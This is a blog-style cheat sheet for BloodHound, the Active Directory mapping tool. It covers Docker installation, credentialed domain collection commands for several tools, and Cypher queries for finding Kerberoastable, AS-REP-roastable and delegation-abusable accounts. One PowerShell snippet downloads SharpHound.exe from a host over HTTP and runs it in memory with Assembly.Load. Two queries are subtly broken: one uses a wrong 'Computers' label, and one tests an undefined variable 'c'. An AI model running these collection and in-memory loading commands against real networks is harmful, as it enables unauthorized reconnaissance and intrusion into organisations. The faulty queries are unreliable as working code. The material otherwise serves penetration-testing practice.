Post

Bloodhoound

Bloodhoound

Bloodhound

BloodHound is an open-source tool that uses graph theory to visually map and analyze the relationships and permissions between objects (like users, groups, and computers).

Installtion Guide

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
cd /opt
# Bloodhound Directory Creation
mkdir bloodhound

# Installing Docker-Compose
sudo apt install docker.io && sudo apt install docker-compose
# Add user to run Docker Containers without Priv
sudo usermod -aG docker  $USER
# Installing Bloodhound File
curl -L https://ghst.ly/getbhce > docker-compose.yml

# Start Bloodhound Container
sudo docker-compose pull && docker-compose up

http://localhost:8080/

# Greb Intial Password from the log's from Screen

# Login creds
admin:<Initial_Passwords>

Bloodhound loot Collection

1
2
3
4
5
6
7
8
9
10
11
12
NetExec ldap $TARGET -u '$user' -p '$pass' --bloodhound --collection All --dns-server $TARGET -d $Domain
bloodhound-python -d $Domain -u '$user' -p '$pass' -ns $IP -dc $Full_Domain -c All --zip
bloodyAD --host $TARGET -d $Domin -u $user -p '$pass' get bloodhound --transitive --path .
rusthound --domain $Domain -u '$user' -p '$pass' --zip


.\sharpHound.exe -s -c all,gpolocalgroup

> # Execute Sharphound in memory
$data = (New-Object System.Net.WebClient).DownloadData('http://$TARGET:$PORT/SharpHound.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[Sharphound.Program]::Main("--collectionmethods All --domain $Domain_Name --searchforest true --outputdirectory c:\users\public\ --zipfilename Bloodhound.zip".Split())   

Custom Queries

List all Users

1
Match (n:User) RETURN n

List all computers

1
Match (n:Computers) RETURN n

List all Kerberoastable Users

1
2
3
4
5
MATCH (n:User)WHERE n.hasspn=true
RETURN n

MATCH (n:User {hasspn: true}) WHERE NOT n.name STARTS WITH 'KRBTGT' 
RETURN n   

List all As-Reproastable Users

1
2
3
4
5
MATCH (n:User)WHERE n.dontreqpreauth=true 
RETURN n   

MATCH (n:User {dontreqpreauth: true, enabled: true}) 
RETURN n

Delegation Attacks

Unconstrained Delegation

1
2
3
4
5
6
7
# By Computer
MATCH (n:Computer {unconstraineddelegation:true}) 
return n

# By Users
MATCH (n:User {allowedtodelegate: true}) 
RETURN n

Constrained Delegation

1
2
MATCH (n {allowedtodelegate: true}) 
RETURN n   

Resource-Based Constrained Delegation

1
2
MATCH (n:Computer) WHERE EXISTS(c.allowedtoact) 
RETURN n   
This post is licensed under CC BY 4.0 by the author.